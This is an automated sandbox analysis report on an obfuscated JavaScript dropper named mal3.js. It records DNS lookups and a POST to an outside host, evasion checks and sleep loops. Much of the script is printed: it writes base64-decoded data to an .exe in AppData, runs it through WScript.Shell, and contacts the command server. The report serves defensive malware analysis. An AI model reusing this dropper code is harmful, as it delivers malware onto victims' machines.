Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:382304
Start time:09:33:39
Joe Sandbox Product:Cloud
Start date:04.10.2017
Overall analysis duration:0h 2m 25s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:mal3.js
Cookbook file name:default.jbs
Analysis system description:Windows 7 (Office 2010 SP2, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:3
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies
  • HCA enabled
  • EGA enabled
  • JavaScript Instrumentation enabled
Detection:MAL
Classification:mal52.evad.rans.winJS@1/0@5/0
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 0
  • Number of non-executed functions: 0
EGA Information:Failed
Cookbook Comments:
  • Found application associated with file extension: .js
  • Stop behavior analysis, all processes terminated
Warnings:
Show All
  • Exclude process from analysis (whitelisted): dllhost.exe
  • Report size getting too big, too many NtOpenKeyEx calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.


Detection

StrategyScoreRangeReportingDetection
Threshold520 - 100Report FP / FNmalicious


Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

All domains contacted by the sample do not resolve. Likely the sample is an old dropper which does no longer work



Signature Overview

Click to jump to signature section


Networking:

barindex
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: moroplinghaptan.info
Urls found in memory or binary dataShow sources
Source: wscript.exe, mal3.jsString found in binary or memory: http://moroplinghaptan.info/eroorrrs
Source: wscript.exeString found in binary or memory: http://moroplinghaptan.info/eroorrrs2/
Source: wscript.exeString found in binary or memory: https://en.wikipedia.org/wiki/xslt/muenchian_grouping
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)Show sources
Source: unknownDNS traffic detected: query: moroplinghaptan.info replaycode: Server failure (2)
JavaScript performs HTTP requests but contacted domains do not resolve (likely expired dropper behavior)Show sources
Source: Signature Results:
JavaScript source code contains functionality to generate code involving HTTP requests or file downloadsShow sources
Source: mal3.jsArgument value : ['"Content-Type","text/html"']Go to definition
Source: mal3.jsArgument value : ['"POST","http://moroplinghaptan.info/eroorrrs",false']Go to definition

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal52.evad.rans.winJS@1/0@5/0
Reads ini filesShow sources
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\desktop.ini
Reads software policiesShow sources
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32
Java / VBScript file with very long strings (likely obfuscated code)Show sources
Source: mal3.jsInitial sample: Strings found which are bigger than 50
Reads the hosts fileShow sources
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\wscript.exeFile read: C:\Windows\System32\drivers\etc\hosts

Anti Debugging:

barindex
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))Show sources
Source: C:\Windows\System32\wscript.exeSystem information queried: KernelDebuggerInformation

Malware Analysis System Evasion:

barindex
Found WSH timer for Javascript or VBS script (likely evasive script)Show sources
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
May sleep (evasive loops) to hinder dynamic analysisShow sources
Source: C:\Windows\System32\wscript.exe TID: 3428Thread sleep time: -360000s >= -60s
Source: C:\Windows\System32\wscript.exe TID: 3428Thread sleep time: -60000s >= -60s
JavaScript source code contains functionality to detect date of execution (likely for evasion)Show sources
Source: mal3.jsAPI name: ['getMonth']Go to definition
Source: mal3.jsAPI name: ['getDate']Go to definition
Source: mal3.jsAPI name: ['getYear']Go to definition
Source: mal3.jsAPI name: ['getMinutes', 'getHours', 'getSeconds']Go to definition

Hooking and other Techniques for Hiding and Protection:

barindex
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX

Language, Device and Operating System Detection:

barindex
Queries the cryptographic machine GUIDShow sources
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Behavior Graph

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
behavior_graph main Behavior Graph ID: 382304 Sample:  mal3.js Startdate:  04/10/2017 Architecture:  WINDOWS Score:  52 1 wscript.exe 10 main->1      started     d1e72527 5 similar packets combined: moroplinghaptan.inf... 1->d1e72527 process1 dnsIp1 fileCreated1

Simulations

Behavior and APIs

TimeTypeDescription
09:34:26API Interceptor25x Sleep call for process: wscript.exe modified from: 60000ms to: 500ms

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

Dropped Files

No context

Screenshot

windows-stand

Startup

  • System is w7_1
  • wscript.exe (PID: 3392 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\mal3.js' MD5: 979D74799EA6C8B8167869A68DF5204A)
  • cleanup

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
moroplinghaptan.infounknownunknowntrue

Contacted IPs

No contacted IP infos

Static File Info

General

File type:ASCII text, with very long lines, with no line terminators
TrID:
  • Visual Basic Script (6000/0) 60.00%
  • Java Script embedded in Visual Basic Script (2000/0) 20.00%
  • Java Script (2000/0) 20.00%
File name:mal3.js
File size:12789
MD5:1517e08449b390583b8ceecdda4e2de1
SHA1:cde231c620921564c815d7e9d2be66743cb8b5d9
SHA256:206a351c718ae5e7737f6cc3866505e5de3cf10b44636a451b1506b0742d75d8
SHA512:3a3f25ba3ef5814e36700bce336808a62973765e128b9c661901d2c3ffa3c30d1ef208377afd8afb82250bf5205429452031603182193284fd7419d5405efbb5
File Content Preview:var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [ "" ];var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpx

File Icon

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Oct 4, 2017 09:35:10.492512941 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:11.481313944 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:12.481749058 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:14.535389900 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:18.527932882 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:25.533061981 CEST53505518.8.8.8192.168.1.82

UDP Packets

TimestampSource PortDest PortSource IPDest IP
Oct 4, 2017 09:35:10.492512941 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:11.481313944 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:12.481749058 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:14.535389900 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:18.527932882 CEST5055153192.168.1.828.8.8.8
Oct 4, 2017 09:35:25.533061981 CEST53505518.8.8.8192.168.1.82

DNS Queries

TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
Oct 4, 2017 09:35:10.492512941 CEST192.168.1.828.8.8.80xdcf4Standard query (0)moroplinghaptan.infoA (IP address)IN (0x0001)
Oct 4, 2017 09:35:11.481313944 CEST192.168.1.828.8.8.80xdcf4Standard query (0)moroplinghaptan.infoA (IP address)IN (0x0001)
Oct 4, 2017 09:35:12.481749058 CEST192.168.1.828.8.8.80xdcf4Standard query (0)moroplinghaptan.infoA (IP address)IN (0x0001)
Oct 4, 2017 09:35:14.535389900 CEST192.168.1.828.8.8.80xdcf4Standard query (0)moroplinghaptan.infoA (IP address)IN (0x0001)
Oct 4, 2017 09:35:18.527932882 CEST192.168.1.828.8.8.80xdcf4Standard query (0)moroplinghaptan.infoA (IP address)IN (0x0001)

DNS Answers

TimestampSource IPDest IPTrans IDReplay CodeNameCNameAddressTypeClass
Oct 4, 2017 09:35:25.533061981 CEST8.8.8.8192.168.1.820xdcf4Server failure (2)moroplinghaptan.infononenoneA (IP address)IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

General

Start time:09:34:26
Start date:04/10/2017
Path:C:\Windows\System32\wscript.exe
Wow64 process (32bit):false
Commandline:'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\mal3.js'
Imagebase:0x772b0000
File size:141824 bytes
MD5 hash:979D74799EA6C8B8167869A68DF5204A
Programmed in:C, C++ or other language

Disassembly

Code Analysis

Call Graph

Graph

  • Executed
  • Not Executed
%3 clusterC0 clusterC2C0 clusterC4C2 clusterC6C2 clusterC8C2 clusterC10C2 clusterC12C2 clusterC14C2 clusterC16C2 clusterC18C0 clusterC20C18 clusterC22C18 clusterC24C0 clusterC26C24 clusterC28C26 clusterC30C0 clusterC32C30 clusterC34C32 clusterC36C32 clusterC38C32 clusterC40C32 clusterC42C32 clusterC44C32 clusterC46C0 clusterC48C46 clusterC50C48 clusterC52C48 clusterC54C48 clusterC56C0 clusterC58C0 clusterC60C0 E1C0 entry:C0 F3C2 UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL E1C0->F3C2 F19C18 GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj E1C0->F19C18 F25C24 GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf E1C0->F25C24 F31C30 phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl E1C0->F31C30 F57C56 Sleep E1C0->F57C56 F59C58 floor E1C0->F59C58 F61C60 random E1C0->F61C60 F5C4 CreateObject F3C2->F5C4 F7C6 createElement F3C2->F7C6 F9C8 CreateObject F3C2->F9C8 F11C10 Open F3C2->F11C10 F13C12 Write F3C2->F13C12 F15C14 SaveToFile F3C2->F15C14 F17C16 Close F3C2->F17C16 F47C46 zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo F3C2->F47C46 F23C22 item F19C18->F23C22 F21C20 ActiveXObject('WScript.Shell') F29C28 Run F25C24->F29C28 F25C24->F47C46 F27C26 ActiveXObject('WScript.Shell') F35C34 getDate F31C30->F35C34 F37C36 getMonth F31C30->F37C36 F39C38 getYear F31C30->F39C38 F41C40 getHours F31C30->F41C40 F43C42 getMinutes F31C30->F43C42 F45C44 getSeconds F31C30->F45C44 F33C32 Date() F51C50 open F47C46->F51C50 F53C52 setRequestHeader F47C46->F53C52 F55C54 send F47C46->F55C54 F49C48 ActiveXObject("Msxml2.XMLHTTP")

Script:

Code
0
var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [ "" ];
    1
    var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe = 1;
      2
      kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA = 2;
        3
        function UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL(lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp, zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU) {
        • UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
        4
        try
          5
          {
            6
            var bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD = WScript.CreateObject ( "MSXml2.DOMDocument" );
            • Windows Script Host.CreateObject("MSXml2.DOMDocument") ➔
            7
            var SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm = bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD.createElement ( "Base64Data" );
            • createElement("Base64Data") ➔
            8
            SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.dataType = "bin.base64";
              9
              SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.text = lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp;
                10
                var OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI = WScript.CreateObject ( "ADODB.Stream" );
                • Windows Script Host.CreateObject("ADODB.Stream") ➔
                11
                OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Type = ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe;
                  12
                  OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Open ( );
                  • Open() ➔ undefined
                  13
                  OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Write ( SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.nodeTypedValue );
                  • Write(null) ➔ undefined
                  14
                  OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.SaveToFile ( zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU, kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA );
                    15
                    OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Close ( );
                      16
                      return true;
                        17
                        }
                          18
                          catch ( e )
                            19
                            {
                              20
                              zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Save', e.message );
                              • zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
                              21
                              return false;
                                22
                                }
                                  23
                                  }
                                    24
                                    function GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() {
                                    • GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
                                    25
                                    var seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe = new ActiveXObject ( 'WScript.Shell' );
                                      26
                                      var ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg = seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe.SpecialFolders;
                                        27
                                        var NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv = ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg.item ( 5 );
                                        • item(5) ➔ "C:\Users\user\AppData\Roaming"
                                        28
                                        return NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv;
                                          29
                                          }
                                            30
                                            function GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf(pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ, ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU) {
                                              31
                                              var CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC = new ActiveXObject ( 'WScript.Shell' );
                                                32
                                                CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC.Run ( pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ + '\\' + ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU + '.exe' );
                                                  33
                                                  zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Exec', 'offloader' );
                                                    34
                                                    }
                                                      35
                                                      function phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() {
                                                      • phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
                                                      36
                                                      var jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc = new Date ( );
                                                        37
                                                        var UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getDate ( );
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getDate() ➔ 4
                                                        38
                                                        var sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMonth ( );
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getMonth() ➔ 9
                                                        39
                                                        var fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getYear ( );
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getYear() ➔ 2017
                                                        40
